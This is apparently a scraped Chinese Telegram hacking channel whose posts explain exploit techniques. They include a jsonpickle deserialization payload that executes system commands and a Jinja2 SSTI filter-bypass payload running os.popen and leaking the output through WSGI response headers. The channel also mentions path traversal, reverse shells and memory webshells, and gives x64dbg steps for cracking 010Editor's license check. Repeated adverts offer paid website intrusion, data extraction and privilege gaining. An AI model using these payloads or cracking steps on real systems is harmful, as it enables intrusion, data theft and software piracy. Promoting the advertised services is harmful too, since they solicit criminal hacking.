黑客网站渗透入侵破解拿权限
10.4K subscribers
2.39K photos
108 links
Download Telegram
类型检查:
该方法首先检查 obj 是否是以下类型之一:str(字符串)、list(列表)、dict(字典)、set(集合)或 tuple(元组)。如果 obj 不是这些类型中的任何一个,那么将 restore 设置为 _passthrough,即默认的处理方式。
if not isinstance(obj, (str, list, dict, set, tuple)): restore = _passthrough

恢复过程:
如果 obj 是上述类型之一,那么调用 self._restore_tags(obj) 来对该对象进行“恢复”操作。 _restore_tags() 可能是一个方法,它会对对象进行特定的处理(具体的恢复方式要看该方法的实现)。
else: restore = self._restore_tags(obj)

最终调用:
无论是通过 _passthrough 还是 _restore_tags 处理后的结果,都会被传递给 restore() 函数进行最终的处理。
return restore(obj)

接着跟踪发现_restore_tags函数,通过识别标签来返回对应标签的功能

接 /网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我
@MoA_Ke
参数获取也有判断需要NEWARGSEX标签提供参数

if has_tag(obj, tags.NEWARGSEX):
args, kwargs = obj[tags.NEWARGSEX]

由于args, kwargs = obj[tags.NEWARGSEX],由于args为一个列表所以要列表包裹,又因为要返回俩个值args, kwargs,所以第二个参数要为空满足条件
而tuple源码中也是从列表中取值所以whoami也要用列表包裹

构造payload:"py/newargsex":["py/set":["whoami"],""]
整体payload如下

{"py/object":"nt.system","py/newargsex":["py/set":["whoami"],""]}
当然如果相加参数需要用字典包裹

{"py/object":"nt.system","py/newargsex":[{"py/set":["type"],"py/set":["2.py"]},""]}
经过调试后面便是system类的创建然后成功执行命令!下面就只需要绕过tuple标签

接 /网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我
@MoA_Ke
在 Python 中,所有类都可以定义 new 方法,以下是一些常见的内置类型和对象,它们通常会重载或使用 new 方法:

object: 所有类的基类,其 new 方法负责创建一个新实例。
type: 用于创建新的类,其 new 方法在元类中起作用。
int, float, complex: 数值类型的类,用于创建数值对象。
str, bytes, bytearray: 字符串和字节序列类型的类,用于创建字符串或字节序列对象。
list, tuple, set, frozenset, dict: 容器类型的类,用于创建相应的容器对象。
比如我们可以用map类可以满足条件,又由于loadclass函数里面通过import一个moudle来找到一个方法,我们可以这样来引入命令执行函数builtins.eval以及一些内置类

接 /网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我
@MoA_Ke
file后接着具体的文件名 要考虑目录穿越问题
一般后端这样写都是直接通过 os.path.join 直接拼接存在任意文件读取
尝试直接读取当前程序的启动命令查看当前Web应用的绝对路径
直接读取 app.py
发现存在/shell路由可以实现Jinja2模板渲染
考察常见的SSTI注入
经过测试发现 环境不出网不可以写文件

PS:实际上是出网可以通过python反弹shell 环境没有curl,ping命令判断有误呜呜

用户权限是 nobody tmp目录也做了权限限制
导致我们写入回显命令的幻想破灭

这里就要考虑重新寻找基于wsgi的内存马或者Response请求头外带
接 /网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我
@MoA_Ke
写入Server
黑名单过滤
blacklist_patterns = [r'.*length.*', r'.*count.*', r'.*[0-9].*', r'.*\..*', r'.*soft.*', r'.*%.*']
这里过滤了soft 但是过滤直接拼接就是
对于属性和方法的获取通过[]和|attr()过滤器代替
{{lipsum['globals']['builtins']['setattr']((((lipsum|attr('spec'))|attr('init')|attr('globals'))['sys']|attr('modules'))['wsgiref']|attr('simple_server')|attr('ServerHandler'),'server_so''ftware',lipsum['globals']['builtins']['import']('os')['popen']('/readflag')['read']())}}
写入http_version
可以知道 类ServerHandler是基于SimpleHandler而SimpleHandle的父类就是BaseHandler
简单查看发现是在send_preamble实现响应头的写入
因此我们不仅可以控制server_software还可以控制http_version,我们实现了在http_version中回显结果
接 /网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我
@MoA_Ke
把010Editor.exe拖进x64dbg,按F9到达主程序入口,发现很多jmp指令,按Shift+D搜索字符串“Evaluation”(上面截图里有),发现有4行可能是注册成功的提示,
任选一个注册成功的地址双击进入代码,发现它们位于同一子程序。拉到上面找到子程序第一句(图里选中了第4句,其实没差别),下个断点然后运行,提示注册信息的界面果然没有弹出来,这说明这段程序就是验证软件是否注册的。选中cmp ebx,DB指令,按Shift+C复制指令码,然后在当前模块按“匹配特征”进行搜索,把十六进制指令码粘贴进去
接 /网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我
@MoA_Ke